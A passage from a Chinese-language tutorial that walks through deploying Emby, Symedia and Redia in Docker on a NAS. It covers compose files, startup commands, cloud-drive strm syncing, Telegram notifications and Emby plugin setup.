&lt;/span&gt;&lt;span&gt;/volume1/CloudNAS:/CloudNAS:rslave&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/volume1/media:/media&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;飞牛用户将 &lt;code&gt;rslave&lt;/code&gt; 改为 &lt;code&gt;rshared&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;启动和配置&lt;a href=&quot;#启动和配置-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/emby&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;up&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;访问 &lt;code&gt;http://服务器IP:8096&lt;/code&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;语言选简体中文&lt;/li&gt;
&lt;li&gt;创建管理员账号&lt;/li&gt;
&lt;li&gt;添加媒体库 → 文件夹 &lt;code&gt;/media&lt;/code&gt; → 元数据语言 Chinese&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;获取 API Key：&lt;/strong&gt; Emby → 设置 → 高级 → API 密钥 → 生成（Symedia 联动需要）&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;三、Symedia（Dockter）— 智能媒体库管家&lt;a href=&quot;#三symediadockter-智能媒体库管家&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;docker-compose.yml&lt;a href=&quot;#docker-composeyml-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;创建 &lt;code&gt;/volume1/docker/symedia/docker-compose.yml&lt;/code&gt;：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;services&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;symedia&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;container_name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;symedia&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;shenxianmq/symedia:latest&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# ARM 架构: shenxianmq/symedia_arm64:latest&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;restart&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;always&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;network_mode&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;host&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;&quot;8095:8095&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;TZ=Asia/Shanghai&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;LICENSE_KEY=你的激活码&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;SA_2FA=true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;volumes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/var/run/docker.sock:/var/run/docker.sock:ro&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/volume1/docker/symedia/config:/app/config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/volume1/docker/symedia/playwright:/symedia/.cache/ms-playwright&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/volume1/CloudNAS:/CloudNAS:rslave&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/volume1/media:/media&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;启动和登录&lt;a href=&quot;#启动和登录&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/volume1/docker/symedia&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;compose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;up&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-d&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;访问 &lt;code&gt;http://服务器IP:8095&lt;/code&gt; | 账号 &lt;code&gt;admin&lt;/code&gt; | 密码 &lt;code&gt;password&lt;/code&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;配置步骤&lt;a href=&quot;#配置步骤&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;步骤 1：全局设置&lt;a href=&quot;#步骤-1全局设置&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;设置 → 全局设置&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;全局设置&quot; loading=&quot;lazy&quot; width=&quot;2824&quot; height=&quot;1578&quot; src=&quot;/_astro/media-center-global-settings.CzBSJBL8_ZzTTFP.webp&quot; srcset=&quot;/_astro/media-center-global-settings.CzBSJBL8_ZtJTyz.webp 640w, /_astro/media-center-global-settings.CzBSJBL8_Z2qwD7S.webp 750w, /_astro/media-center-global-settings.CzBSJBL8_ZRKUUU.webp 828w, /_astro/media-center-global-settings.CzBSJBL8_Z1apw4W.webp 1080w, /_astro/media-center-global-settings.CzBSJBL8_1duaqO.webp 1280w, /_astro/media-center-global-settings.CzBSJBL8_1jMoW5.webp 1668w, /_astro/media-center-global-settings.CzBSJBL8_Z2e8mEM.webp 2048w, /_astro/media-center-global-settings.CzBSJBL8_1cjr7T.webp 2560w, /_astro/media-center-global-settings.CzBSJBL8_ZzTTFP.webp 2824w&quot; /&gt;&lt;figcaption&gt;全局设置&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;云盘根目录：&lt;code&gt;/CloudNAS/CloudDrive&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;链接同步间隔：按需设置&lt;/li&gt;
&lt;li&gt;TMDB API 域名：&lt;code&gt;api.themoviedb.org&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;TMDB 图片域名：&lt;code&gt;image.tmdb.org&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;建议开启调试模式（方便排错）&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;步骤 2：配置 CD2 助手&lt;a href=&quot;#步骤-2配置-cd2-助手&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;插件 → CloudDrive2 助手&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;CD2助手基本配置&quot; loading=&quot;lazy&quot; width=&quot;2048&quot; height=&quot;692&quot; src=&quot;/_astro/media-center-cd2-helper.C4q5BrC2_1cquhY.webp&quot; srcset=&quot;/_astro/media-center-cd2-helper.C4q5BrC2_1TYCKs.webp 640w, /_astro/media-center-cd2-helper.C4q5BrC2_1OgqwE.webp 750w, /_astro/media-center-cd2-helper.C4q5BrC2_t3O4l.webp 828w, /_astro/media-center-cd2-helper.C4q5BrC2_Z2gTFm.webp 1080w, /_astro/media-center-cd2-helper.C4q5BrC2_1DOQvf.webp 1280w, /_astro/media-center-cd2-helper.C4q5BrC2_Zhdwzk.webp 1668w, /_astro/media-center-cd2-helper.C4q5BrC2_1cquhY.webp 2048w&quot; /&gt;&lt;figcaption&gt;CD2助手基本配置&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;CD2 IP：CD2 所在地址（不要加 http://）&lt;/li&gt;
&lt;li&gt;端口：&lt;code&gt;19798&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;用户名 / 密码：填入 CD2 登录信息&lt;/li&gt;
&lt;li&gt;根目录：&lt;code&gt;/CloudNAS/CloudDrive&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;监听目录：如 &lt;code&gt;/115open/emby&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;开启”监听文件变化事件”&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;点击 &lt;strong&gt;刷新令牌&lt;/strong&gt; → &lt;strong&gt;保存配置&lt;/strong&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;步骤 3：添加链接同步（生成 strm 文件）&lt;a href=&quot;#步骤-3添加链接同步生成-strm-文件&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;链接同步 → 添加同步&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;源路径：&lt;code&gt;/CloudNAS/CloudDrive/115/你的影视文件夹&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;目标路径：&lt;code&gt;/media&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;文件格式：选择 &lt;code&gt;strm&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;开始同步后，Symedia 会扫描网盘中的视频文件，在 &lt;code&gt;/media&lt;/code&gt; 下生成对应的 &lt;code&gt;.strm&lt;/code&gt; 文件。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;步骤 4：配置 EmbyServer 联动&lt;a href=&quot;#步骤-4配置-embyserver-联动&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;插件 → EmbyServer&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Emby 地址：&lt;code&gt;http://服务器IP:8096&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;API Key：填入上一步生成的密钥&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;保存后，Symedia 会自动通知 Emby 扫描新生成的 strm 文件。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;步骤 5：配置 Webhook（CD2 会员功能）&lt;a href=&quot;#步骤-5配置-webhookcd2-会员功能&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;设置 → Webhook&lt;/p&gt;&lt;p&gt;填入 CD2 地址后，网盘新增文件会自动触发 strm 生成，无需手动同步。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;步骤 6：配置通知&lt;a href=&quot;#步骤-6配置通知&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;设置 → 通知&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;通知配置&quot; loading=&quot;lazy&quot; width=&quot;2824&quot; height=&quot;1578&quot; src=&quot;/_astro/media-center-global-settings.CzBSJBL8_ZzTTFP.webp&quot; srcset=&quot;/_astro/media-center-global-settings.CzBSJBL8_ZtJTyz.webp 640w, /_astro/media-center-global-settings.CzBSJBL8_Z2qwD7S.webp 750w, /_astro/media-center-global-settings.CzBSJBL8_ZRKUUU.webp 828w, /_astro/media-center-global-settings.CzBSJBL8_Z1apw4W.webp 1080w, /_astro/media-center-global-settings.CzBSJBL8_1duaqO.webp 1280w, /_astro/media-center-global-settings.CzBSJBL8_1jMoW5.webp 1668w, /_astro/media-center-global-settings.CzBSJBL8_Z2e8mEM.webp 2048w, /_astro/media-center-global-settings.CzBSJBL8_1cjr7T.webp 2560w, /_astro/media-center-global-settings.CzBSJBL8_ZzTTFP.webp 2824w&quot; /&gt;&lt;figcaption&gt;通知配置&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;配置 Telegram Bot：&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Telegram 搜索 @BotFather → &lt;code&gt;/newbot&lt;/code&gt; → 创建机器人 → 保存 API Token&lt;/li&gt;
&lt;li&gt;搜索 @getidsbot → &lt;code&gt;/about&lt;/code&gt; → 获取你的 User ID&lt;/li&gt;
&lt;li&gt;在 Symedia 通知设置填入 API Token 和 User ID&lt;/li&gt;
&lt;li&gt;开启需要的通知开关 → 保存并测试&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;步骤 7：安装神医插件（StrmAssistant）&lt;a href=&quot;#步骤-7安装神医插件strmassistant&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;前往 &lt;a href=&quot;https://github.com/sjtuross/StrmAssistant/releases&quot; target=&quot;_blank&quot;&gt;StrmAssistant Releases&lt;/a&gt; 下载插件，放入 Emby 的 &lt;code&gt;plugins&lt;/code&gt; 文件夹，重启 Emby。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;神医插件安装&quot; loading=&quot;lazy&quot; width=&quot;996&quot; height=&quot;596&quot; src=&quot;/_astro/media-center-strmassistant-install.t1N6kR2n_2vW6Ct.webp&quot; srcset=&quot;/_astro/media-center-strmassistant-install.t1N6kR2n_Zl22uR.webp 640w, /_astro/media-center-strmassistant-install.t1N6kR2n_ZueaSR.webp 750w, /_astro/media-center-strmassistant-install.t1N6kR2n_Z1EVTni.webp 828w, /_astro/media-center-strmassistant-install.t1N6kR2n_2vW6Ct.webp 996w&quot; /&gt;&lt;figcaption&gt;神医插件安装&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;重启后在 Emby 设置中出现”神医助手”即成功。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;神医插件设置&quot; loading=&quot;lazy&quot; width=&quot;2332&quot; height=&quot;1574&quot; src=&quot;/_astro/media-center-strmassistant-settings.9ekimxdT_6mPfT.webp&quot; srcset=&quot;/_astro/media-center-strmassistant-settings.9ekimxdT_1SmXwx.webp 640w, /_astro/media-center-strmassistant-settings.9ekimxdT_j9IxA.webp 750w, /_astro/media-center-strmassistant-settings.9ekimxdT_Z1OckeM.webp 828w, /_astro/media-center-strmassistant-settings.9ekimxdT_1Ecob5.webp 1080w, /_astro/media-center-strmassistant-settings.9ekimxdT_1C8bne.webp 1280w, /_astro/media-center-strmassistant-settings.9ekimxdT_1uT5Td.webp 1668w, /_astro/media-center-strmassistant-settings.9ekimxdT_ZJABHt.webp 2048w, /_astro/media-center-strmassistant-settings.9ekimxdT_6mPfT.webp 2332w&quot; /&gt;&lt;figcaption&gt;神医插件设置&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;推荐开启”提取视频信息”功能，这能显著加快 Strm 文件的起播速度。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;步骤 8：配置刮削归档&lt;a href=&quot;#步骤-8配置刮削归档&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;归档 → 归档刮削&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;设置刮削源（TMDB）&lt;/li&gt;
&lt;li&gt;开启实时监控&lt;/li&gt;
&lt;li&gt;配置归档目录结构&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;步骤 9：进阶配置&lt;a href=&quot;#步骤-9进阶配置&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;聚合搜索：&lt;/strong&gt; 搜索 → 设置 → 填入 Telegram 频道 ID&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;聚合搜索配置&quot; loading=&quot;lazy&quot; width=&quot;2048&quot; height=&quot;1368&quot; src=&quot;/_astro/media-center-aggregate-search.D47DQ9uI_Z15ui7u.webp&quot; srcset=&quot;/_astro/media-center-aggregate-search.D47DQ9uI_ZmSBIA.webp 640w, /_astro/media-center-aggregate-search.D47DQ9uI_1VsbLX.webp 750w, /_astro/media-center-aggregate-search.D47DQ9uI_1VOXJ6.webp 828w, /_astro/media-center-aggregate-search.D47DQ9uI_LfHPw.webp 1080w, /_astro/media-center-aggregate-search.D47DQ9uI_1Ouyop.webp 1280w, /_astro/media-center-aggregate-search.D47DQ9uI_Zpz3sw.webp 1668w, /_astro/media-center-aggregate-search.D47DQ9uI_Z15ui7u.webp 2048w&quot; /&gt;&lt;figcaption&gt;聚合搜索配置&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;网盘转存：&lt;/strong&gt; 插件 → 对应网盘助手 → 填入 cid（文件夹 ID）&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;网盘转存配置&quot; loading=&quot;lazy&quot; width=&quot;2048&quot; height=&quot;885&quot; src=&quot;/_astro/media-center-cloud-transfer.D4JTls-8_zJxIK.webp&quot; srcset=&quot;/_astro/media-center-cloud-transfer.D4JTls-8_1PdJgi.webp 640w, /_astro/media-center-cloud-transfer.D4JTls-8_Z1arPMs.webp 750w, /_astro/media-center-cloud-transfer.D4JTls-8_Z22HKwT.webp 828w, /_astro/media-center-cloud-transfer.D4JTls-8_Zp7yXn.webp 1080w, /_astro/media-center-cloud-transfer.D4JTls-8_ZKQfOt.webp 1280w, /_astro/media-center-cloud-transfer.D4JTls-8_Z1nb2Fj.webp 1668w, /_astro/media-center-cloud-transfer.D4JTls-8_zJxIK.webp 2048w&quot; /&gt;&lt;figcaption&gt;网盘转存配置&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;配置后，发送网盘分享链接给 Telegram Bot 即可自动转存。&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;四、Redia — 302 直链反向代理&lt;a href=&quot;#四redia--302-直链反向代理&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;docker-compose.yml&lt;a href=&quot;#docker-composeyml-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;创建 &lt;code&gt;/volume1/docker/redia/docker-compose.yml&lt;/code&gt;：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;services&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;redia&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;container_name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;redia&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;shenxianmq/redia:latest&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# ARM: shenxianmq/redia_arm64:latest&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;restart&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;always&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;network_mode&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;host&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;LICENSE_KEY=你的Redia密钥&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;volumes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/var/run/docker.sock:/var/run/docker.sock:ro&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/volume1/docker/redia/config:/app/config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;启动和配置&lt;a 